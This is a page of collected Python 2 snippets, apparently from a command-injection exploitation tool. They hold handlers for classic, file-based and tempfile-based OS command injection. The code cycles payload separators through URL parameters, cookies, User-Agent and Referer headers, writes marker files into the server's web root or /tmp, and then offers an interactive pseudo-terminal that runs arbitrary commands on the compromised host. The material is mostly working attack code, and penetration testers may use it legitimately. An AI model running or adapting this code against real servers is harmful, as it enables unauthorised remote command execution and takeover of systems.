                                            if cmd.lower() == "?":
                                                menu.shell_options()
                                            elif cmd.lower() == "quit":
                                                sys.exit(0)
                                            elif cmd.lower() == "back":
                                                go_back = True
                                                if checks.check_next_attack_vector(
                                                        technique,
                                                        go_back) == True:
                                                    break
                                                else:
                                                    if no_result == True:
                                                        return False
                                                    else:
                                                        return True
                                            else:
                                                pass

                                        else:
                                            # Command execution results.
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)

                                            # if need page reload
                                            if menu.options.url_reload:
                                                time.sleep(delay)
                                                response = urllib.urlopen(url)

                                            # Evaluate injection results.
                                            shell = cb_injector.injection_results(
                                                response, TAG)
                                            if shell:
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                html_parser = HTMLParser.HTMLParser(
                                                )
                                                shell = html_parser.unescape(
                                                    shell)
                                                if shell != "":
                                                    print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                                else:
                                                    if menu.options.verbose:
                                                        print ""
                                                    print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"

                                    except KeyboardInterrupt:
                                        raise

                            elif gotshell in settings.CHOISE_NO:
                                if checks.check_next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOISE_QUIT:
                                sys.exit(0)

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                                pass

    if no_result == True:
        print ""
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 24
0
def fb_injection_handler(url, delay, filename, http_request_method,
                         url_time_response):
    counter = 1
    vp_flag = True
    exit_loops = False
    no_result = True
    is_encoded = False
    stop_injection = False
    call_tmp_based = False
    export_injection_info = False
    injection_type = "Semiblind Command Injection"
    technique = "file-based injection technique"

    # Set temp path
    if settings.TARGET_OS == "win":
        if "microsoft-iis" in settings.SERVER_BANNER.lower():
            settings.TMP_PATH = "C:\\Windows\TEMP\\"
        else:
            settings.TMP_PATH = "%temp%\\"
    else:
        settings.TMP_PATH = "/tmp/"

    if menu.options.tmp_path:
        tmp_path = menu.options.tmp_path
    else:
        tmp_path = settings.TMP_PATH

    if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
        call_tmp_based = True
    else:
        if menu.options.srv_root_dir:
            settings.SRV_ROOT_DIR = menu.options.srv_root_dir
        else:
            # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
            if "apache" in settings.SERVER_BANNER.lower():
                if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
                    try:
                        check_version = re.findall(
                            r"/(.*)\.", settings.SERVER_BANNER.lower())
                        if check_version[
                                0] > "2.3" and not settings.TARGET_OS == "win":
                            # Add "/html" to servers root directory
                            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
                        else:
                            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR
                    except IndexError:
                        pass
                # Add "/html" to servers root directory
                elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
                    settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
                else:
                    pass
            # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
            elif "nginx" in settings.SERVER_BANNER.lower():
                try:
                    check_version = re.findall(r"/(.*)\.",
                                               settings.SERVER_BANNER.lower())
                    if check_version[0] >= "1.2.4":
                        # Add "/html" to servers root directory
                        settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
                    else:
                        # Add "/www" to servers root directory
                        settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
                except IndexError:
                    pass
            elif "microsoft-iis" in settings.SERVER_BANNER.lower():
                pass
            else:
                # Provide custom server's root directory.
                custom_srv_root_dir()

            path = urlparse.urlparse(url).path
            path_parts = path.split('/')
            count = 0
            for part in path_parts:
                count = count + 1
            count = count - 1
            last_param = path_parts[count]
            EXTRA_DIR = path.replace(last_param, "")
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
            if settings.TARGET_OS == "win":
                settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace(
                    "/", "\\")

        if not menu.options.verbose:
            print "(*) Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
        else:
            print "(*) Testing the " + technique + "... "

    i = 0
    # Calculate all possible combinations
    total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(
        settings.SUFFIXES)
    # Check if defined alter shell
    alter_shell = menu.options.alter_shell

    for prefix in settings.PREFIXES:
        for suffix in settings.SUFFIXES:
            for separator in settings.SEPARATORS:
                i = i + 1
                # Change TAG on every request to prevent false-positive results.
                TAG = ''.join(
                    random.choice(string.ascii_uppercase) for i in range(6))
                # The output file for file-based injection technique.
                OUTPUT_TEXTFILE = TAG + ".txt"
                # Check for bad combination of prefix and separator
                combination = prefix + separator
                if combination in settings.JUNK_COMBINATION:
                    prefix = ""

                try:
                    # File-based decision payload (check if host is vulnerable).
                    if alter_shell:
                        payload = fb_payloads.decision_alter_shell(
                            separator, TAG, OUTPUT_TEXTFILE)
                    else:
                        payload = fb_payloads.decision(separator, TAG,
                                                       OUTPUT_TEXTFILE)

                    # Check if defined "--prefix" option.
                    # Fix prefixes / suffixes
                    payload = parameters.prefixes(payload, prefix)
                    payload = parameters.suffixes(payload, suffix)

                    if menu.options.base64:
                        payload = base64.b64encode(payload)

                    # Check if defined "--verbose" option.
                    if menu.options.verbose:
                        print "(*) Trying to upload the '" + OUTPUT_TEXTFILE + "' file on '" + settings.SRV_ROOT_DIR + "'..."
                        print Fore.GREY + "(~) Payload: " + payload.replace(
                            "\n", "\\n") + Style.RESET_ALL

                    # Cookie Injection
                    if settings.COOKIE_INJECTION == True:
                        # Check if target host is vulnerable to cookie injection.
                        vuln_parameter = parameters.specify_cookie_parameter(
                            menu.options.cookie)
                        response = fb_injector.cookie_injection_test(
                            url, vuln_parameter, payload)

                    # User-Agent Injection
                    elif settings.USER_AGENT_INJECTION == True:
                        # Check if target host is vulnerable to user-agent injection.
                        vuln_parameter = parameters.specify_user_agent_parameter(
                            menu.options.agent)
                        response = fb_injector.user_agent_injection_test(
                            url, vuln_parameter, payload)

                    # Referer Injection
                    elif settings.REFERER_INJECTION == True:
                        # Check if target host is vulnerable to referer injection.
                        vuln_parameter = parameters.specify_referer_parameter(
                            menu.options.referer)
                        response = fb_injector.referer_injection_test(
                            url, vuln_parameter, payload)

                    else:
                        # Check if target host is vulnerable.
                        response, vuln_parameter = fb_injector.injection_test(
                            payload, http_request_method, url)

                    # Find the directory.
                    output = fb_injector.injection_output(
                        url, OUTPUT_TEXTFILE, delay)
                    time.sleep(delay)

                    try:
                        # Check if defined extra headers.
                        request = urllib2.Request(output)
                        headers.do_check(request)

                        # Evaluate test results.
                        output = urllib2.urlopen(request)
                        html_data = output.read()
                        shell = re.findall(r"" + TAG + "", html_data)

                        if len(
                                shell
                        ) != 0 and shell == TAG and not menu.options.verbose:
                            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                            sys.stdout.write("\r(*) Testing the " + technique +
                                             "... [ " + percent + " ]")
                            sys.stdout.flush()

                        if len(shell) == 0:
                            #delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                            #if menu.options.verbose:
                            #print ""
                            raise urllib2.HTTPError(url, 404, 'Error', {},
                                                    None)

                    except urllib2.HTTPError, e:
                        if e.getcode() == 404:
                            percent = ((i * 100) / total)
                            float_percent = "{0:.1f}".format(
                                round(((i * 100) / (total * 1.0)), 2))

                            if call_tmp_based == True:
                                exit_loops = True
                                tmp_path = os.path.split(
                                    menu.options.file_dest)[0] + "/"
                                tfb_controller(no_result, url, delay, filename,
                                               tmp_path, http_request_method,
                                               url_time_response)
                                raise

                            # Show an error message, after N failed tries.
                            # Use the "/tmp/" directory for tempfile-based technique.
                            elif i == settings.FAILED_TRIES and no_result == True:
                                if not menu.options.verbose:
                                    print ""
                                print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
                                while True:
                                    tmp_upload = raw_input(
                                        "(?) Do you want to try the temporary directory ("
                                        + tmp_path + ") [Y/n/q] > ").lower()
                                    if tmp_upload in settings.CHOISE_YES:
                                        exit_loops = True
                                        call_tfb = tfb_controller(
                                            no_result, url, delay, filename,
                                            tmp_path, http_request_method,
                                            url_time_response)
                                        if call_tfb != False:
                                            return True
                                        else:
                                            if no_result == True:
                                                return False
                                            else:
                                                return True
                                    elif tmp_upload in settings.CHOISE_NO:
                                        break
                                    elif tmp_upload in settings.CHOISE_QUIT:
                                        print ""
                                        raise
                                    else:
                                        if tmp_upload == "":
                                            tmp_upload = "enter"
                                        print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                                continue

                            else:
                                if exit_loops == False:
                                    if not menu.options.verbose:
                                        if percent == 100:
                                            if no_result == True:
                                                percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                            else:
                                                percent = str(
                                                    float_percent) + "%"
                                        else:
                                            percent = str(float_percent) + "%"

                                        sys.stdout.write("\r(*) Testing the " +
                                                         technique + "... [ " +
                                                         percent + " ]")
                                        sys.stdout.flush()
                                        continue
                                    else:
                                        continue
                                else:
                                    raise

                        elif e.getcode() == 401:
                            print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n"
                            sys.exit(0)

                        elif e.getcode() == 403:
                            print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n"
                            sys.exit(0)

                except KeyboardInterrupt:
                    # Delete previous shell (text) files (output)
                    delete_previous_shell(separator, payload, TAG, prefix,
                                          suffix, http_request_method, url,
                                          vuln_parameter, OUTPUT_TEXTFILE,
                                          alter_shell, filename)
                    raise

                except SystemExit:
                    if 'vuln_parameter' in locals():
                        # Delete previous shell (text) files (output)
                        delete_previous_shell(separator, payload, TAG, prefix,
                                              suffix, http_request_method, url,
                                              vuln_parameter, OUTPUT_TEXTFILE,
                                              alter_shell, filename)
                    else:
                        pass

                    #delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                    raise

                except urllib2.URLError, e:
                    # print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL
                    print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
                    # Provide custom server's root directory.
                    custom_srv_root_dir()
                    continue

                except:
                    raise
Esempio n. 25
0
def do_check(url, filename):

  classic_state = False
  eval_based_state = False
  time_based_state = False
  file_based_state = False

  # Check if defined "--delay" option.
  if menu.options.delay:
    delay = menu.options.delay
  else:
    delay = settings.DELAY

  # Check if authentication is needed.
  if menu.options.auth_url and menu.options.auth_data:
    # Do the authentication process.
    authentication.authentication_process()
    # Check if authentication page is the same with the next (injection) URL
    if urllib2.urlopen(url).read() == urllib2.urlopen(menu.options.auth_url).read():
      print Back.RED + settings.ERROR_SIGN + "It seems that the authentication procedure has failed." + Style.RESET_ALL
      sys.exit(0)
  elif menu.options.auth_url or menu.options.auth_data: 
    print Back.RED + settings.ERROR_SIGN + "You must specify both login panel URL and login parameters." + Style.RESET_ALL
    sys.exit(0)
  else:
    pass

  # Check if HTTP Method is GET or POST.
  header_name = ""
  if not menu.options.data:
    http_request_method = "GET"
    if not settings.COOKIE_INJECTION \
    and not settings.USER_AGENT_INJECTION \
    and not settings.REFERER_INJECTION:
      url = parameters.do_GET_check(url)
    check_parameter = parameters.vuln_GET_param(url)
    the_type = " parameter "

  else:
    http_request_method = "POST"
    parameter = menu.options.data
    parameter = parameters.do_POST_check(parameter)
    check_parameter = parameters.vuln_POST_param(parameter, url)
    the_type = " parameter " 
  
  # Load modules
  modules_handler.load_modules(url, http_request_method, filename)

  # Cookie Injection
  if settings.COOKIE_INJECTION == True:
    header_name = " Cookie"
    settings.HTTP_HEADER = header_name[1:].lower()
    check_parameter  = parameters.specify_cookie_parameter(menu.options.cookie)
    the_type = " HTTP header "
            
  # User-Agent Injection
  elif settings.USER_AGENT_INJECTION == True:
    header_name = " User-Agent"
    settings.HTTP_HEADER = header_name[1:].replace("-","").lower()
    check_parameter  = ""
    the_type = " HTTP header "

  # Referer Injection
  elif settings.REFERER_INJECTION == True:
    header_name = " Referer"
    settings.HTTP_HEADER = header_name[1:].lower()
    check_parameter  = ""
    the_type = " HTTP header "

  if len(check_parameter) > 0:
    settings.TESTABLE_PARAMETER = check_parameter

  # Check for session file 
  if not menu.options.ignore_session:
    if os.path.isfile(settings.SESSION_FILE):
      if not menu.options.tech:
          menu.options.tech = session_handler.applied_techniques(url, http_request_method)
      if session_handler.check_stored_parameter(url, http_request_method):
        settings.LOAD_SESSION = True
        
  if menu.options.flush_session:
    session_handler.flush(url)

  if len(check_parameter) != 0 :
    check_parameter = " '" + check_parameter + "'"

  print settings.INFO_SIGN + "Setting the " + "(" + http_request_method + ")" + check_parameter + header_name + the_type + "for tests."

  # Estimating the response time (in seconds)
  delay, url_time_response = requests.estimate_response_time(url, http_request_method, delay)

  # Check if it is vulnerable to classic command injection technique.
  if not menu.options.tech or "c" in menu.options.tech:
    if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
      classic_state = True
  else:
    classic_state = False

  # Check if it is vulnerable to eval-based code injection technique.
  if not menu.options.tech or "e" in menu.options.tech:
    if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
      eval_based_state = True
  else:
    eval_based_state = False

  # Check if it is vulnerable to time-based blind command injection technique.
  if not menu.options.tech or "t" in menu.options.tech:
    if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
      time_based_state = True
  else:
    time_based_state = False

  # Check if it is vulnerable to file-based semiblind command injection technique.
  if not menu.options.tech or "f" in menu.options.tech:
    if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
      file_based_state = True
  else:
    file_based_state = False

  if classic_state == eval_based_state == time_based_state == file_based_state == False :
    info_msg = settings.CRITICAL_SIGN + "The tested (" + http_request_method + ")" + check_parameter + " parameter appear to be not injectable."
    if not menu.options.alter_shell :
      info_msg += " Use the option '--alter-shell'"
    else:
      info_msg += " Remove the option '--alter-shell'"
    info_msg += " and/or try to audit the HTTP headers (i.e 'User-Agent', 'Referer', 'Cookie' etc)."
    print Back.RED + info_msg + Style.RESET_ALL  

  sys.exit(0)
Esempio n. 26
0
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
  
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  export_injection_info = False
  
  injection_type = "Semiblind-based Command Injection"
  technique = "tempfile-based injection technique"
  
  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = menu.options.maxlen
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
  
  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
    
  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:
        num_of_chars = num_of_chars + 1

        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""

        # Change TAG on every request to prevent false-positive resutls.
        TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))  

        # The output file for file-based injection technique.
        OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
        alter_shell = menu.options.alter_shell
        tag_length = len(TAG) + 4
        
        for output_length in range(1, int(tag_length)):
          try:

            # Tempfile-based decision payload (check if host is vulnerable).
            if alter_shell :
              payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
            else:
              payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)

            # Fix prefixes / suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)
              
            # Check if defined "--verbose" option.
            if menu.options.verbose:
              if separator == ";" or separator == "&&" or separator == "||":
                print Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL
                
            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
              
            # User-Agent Injection
            elif settings.USER_AGENT_INJECTION == True:
              # Check if target host is vulnerable to user-agent injection.
              vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
              how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)

            # Referer Injection
            elif settings.REFERER_INJECTION == True:
              # Check if target host is vulnerable to referer injection.
              vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
              how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)

            # Injection percentage calculation
            percent = ((num_of_chars * 100) / total)

            if percent == 100 and no_result == True:
              if not menu.options.verbose:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
                percent = ""
            else:
              if (url_time_response <= 1 and how_long >= delay) or \
              (url_time_response >= 2 and how_long > delay):

                # Time relative false positive fixation.
                randv1 = random.randrange(0, 1)
                randv2 = random.randrange(1, 2)
                randvcalc = randv1 + randv2

                cmd = "echo $((" + str(randv1) + "+" + str(randv2) + "))"
                output  = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell)
                if str(output) == str(randvcalc):
                  if not menu.options.verbose:
                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                  else:
                    percent = ""
                else:
                  break
                    
              else:
                percent = str(percent)+"%"
                
            if not menu.options.verbose:
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()
              
          except KeyboardInterrupt: 
            raise
          
          except:
            percent = ((num_of_chars * 100) / total)
            if percent == 100:
              if no_result == True:
                if not menu.options.verbose:
                  percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
                  sys.stdout.flush()
                else:
                  percent = ""
                break
              else:
                percent = str(percent)+"%"
              #Print logs notification message
              percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()
              print ""
              logs.logs_notification(filename)
              raise
            else:
              percent = str(percent)+"%"
            break
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if (url_time_response <= 1 and how_long >= delay) or \
          (url_time_response >= 2 and how_long > delay) :

            if len(TAG) == output_length:
              found = True
              no_result = False
              
              if settings.COOKIE_INJECTION == True: 
                header_name = " Cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " HTTP header"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method == "GET":
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
              logs.upload_payload(filename, counter, payload) 
              counter = counter + 1
              
              # Print the findings to terminal.
              print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
              print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
              print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
              print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
              
              # Check for any enumeration options.
              tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)

              # Check for any enumeration options.
              tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
              
              # Check if defined single cmd.
              if menu.options.os_cmd:
                tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)

              # Pseudo-Terminal shell
              go_back = False
              while True:
                if go_back == True:
                  break
                gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
                if gotshell in settings.CHOISE_YES:
                  print ""
                  print "Pseudo-Terminal (type '?' for shell options)"
                  while True:
                    try:
                      cmd = raw_input("Shell > ")
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        if cmd == "?":
                          menu.shell_options()
                          continue
                        elif cmd.lower() == "quit":
                          logs.logs_notification(filename)
                          sys.exit(0)
                        elif cmd.lower() == "back":
                          go_back = True
                          break
                        else:
                          pass
                        
                      else:
                        # The main command injection exploitation.
                        check_how_long, output  = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)

                        if menu.options.verbose:
                          print ""
                          
                        if output != "" and check_how_long != 0 :
                          print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
                          print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
                        else:
                          print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
                        
                    except KeyboardInterrupt: 
                      raise
                      
                elif gotshell in settings.CHOISE_NO:
                  break
                  if menu.options.verbose:
                    sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
                    sys.stdout.flush()
                
                else:
                  if gotshell == "":
                    gotshell = "enter"
                  print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                  pass
                  
            break
    
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 27
0
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):
  
  counter = 1
  failed_tries = 20
  vp_flag = True
  exit_loops = False
  no_result = True
  is_encoded= False
  stop_injection = False
  call_tmp_based = False
  export_injection_info = False
  
  injection_type = "Semiblind-based Command Injection"
  technique = "file-based semiblind injection technique"

  # Set temp path 
  if menu.options.tmp_path:
    tmp_path = menu.options.tmp_path
  else:
    tmp_path = settings.TMP_PATH
                  
  print "(*) Testing the "+ technique + "... "
    
  if menu.options.file_dest:
    if '/tmp/' in menu.options.file_dest:
      call_tmp_based = True
    SRV_ROOT_DIR = os.path.split(menu.options.file_dest)[0]
  else:
    if menu.options.srv_root_dir:
      SRV_ROOT_DIR = menu.options.srv_root_dir
    else:
      SRV_ROOT_DIR = settings.SRV_ROOT_DIR
  
  i = 0
  # Calculate all possible combinations
  total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)

  # Check if defined alter shell
  alter_shell = menu.options.alter_shell
  
  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:
        i = i + 1
        
        # Change TAG on every request to prevent false-positive results.
        TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
          
        # The output file for file-based injection technique.
        OUTPUT_TEXTFILE = TAG + ".txt"
                    
        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""

        try:
          # File-based decision payload (check if host is vulnerable).
          if alter_shell :
            payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
          else:
            payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
                  
          # Check if defined "--prefix" option.
          # Fix prefixes / suffixes
          payload = parameters.prefixes(payload, prefix)
          payload = parameters.suffixes(payload, suffix)

          # Check if defined "--verbose" option.
          if menu.options.verbose:
            print Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL

          # Cookie Injection
          if settings.COOKIE_INJECTION == True:
            # Check if target host is vulnerable to cookie injection.
            vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
            response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
          else:
            # Check if target host is vulnerable.
            response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)

          # Find the directory.
          path = url
          path_parts = path.split('/')
          count = 0
          for part in path_parts:        
            count = count + 1
          count = count - 1
          last_param = path_parts[count]
          output = url.replace(last_param, OUTPUT_TEXTFILE)
          time.sleep(delay)
          
          try:
            # Check if defined extra headers.
            request = urllib2.Request(output)
            headers.do_check(request)
            
            # Evaluate test results.
            output = urllib2.urlopen(request)
            html_data = output.read()
            shell = re.findall(r"" + TAG + "", html_data)
            if len(shell) != 0 and not menu.options.verbose:
              percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
              sys.stdout.write("\r(*) Trying to upload the '"+ OUTPUT_TEXTFILE +"' on " + SRV_ROOT_DIR + "... [ " + percent + " ]")  
              sys.stdout.flush()
              
          except urllib2.HTTPError, e:
              if e.getcode() == 404:
                percent = ((i*100)/total)
                if call_tmp_based == True:
                  exit_loops = True
                  tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
                  tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                  raise
                  
                # Show an error message, after 20 failed tries.
                # Use the "/tmp/" directory for tempfile-based technique.
                elif i == failed_tries :
                  if not menu.options.verbose:
                    print ""
                  print Back.RED + "(x) Error: It seems that you don't have permissions to write on "+ SRV_ROOT_DIR + "." + Style.RESET_ALL
                  while True:
                    tmp_upload = raw_input("(?) Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > ").lower()
                    if tmp_upload in settings.CHOISE_YES:
                      exit_loops = True
                      tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                      if no_result == True:
                        return False
                    elif tmp_upload in settings.CHOISE_NO:
                      break
                    else:
                      if tmp_upload == "":
                        tmp_upload = "enter"
                      print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL
                      pass
                  continue
                
                else:
                  if exit_loops == False:
                    if not menu.options.verbose:
                      if percent == 100:
                        if no_result == True:
                          percent = Fore.RED + "FAILED" + Style.RESET_ALL
                        else:
                          percent = str(percent)+"%"
                      else:
                        percent = str(percent)+"%"
                      sys.stdout.write("\r(*) Trying to upload the '"+ OUTPUT_TEXTFILE +"' on " + SRV_ROOT_DIR + "... [ " + percent + " ]")  
                      sys.stdout.flush()
                      continue
                    else:
                      continue
                  else:
                    raise
                
              elif e.getcode() == 401:
                print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n"
                sys.exit(0)
                
              elif e.getcode() == 403:
                print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n"
                sys.exit(0)
          
        except KeyboardInterrupt:
          # Delete previous shell (text) files (output)
          delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
          raise
        
        except urllib2.URLError, e:
          #print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL
          sys.exit(0)
        
        except:
          continue
Esempio n. 28
0
def cb_injection_handler(url, timesec, filename, http_request_method):
  shell = False
  counter = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  export_injection_info = False
  injection_type = "results-based OS command injection"
  technique = "classic command injection technique"

  if not settings.LOAD_SESSION: 
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
      
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          if whitespace == " ":
            whitespace = urllib.quote(whitespace) 
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.CLASSIC_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
            except TypeError:
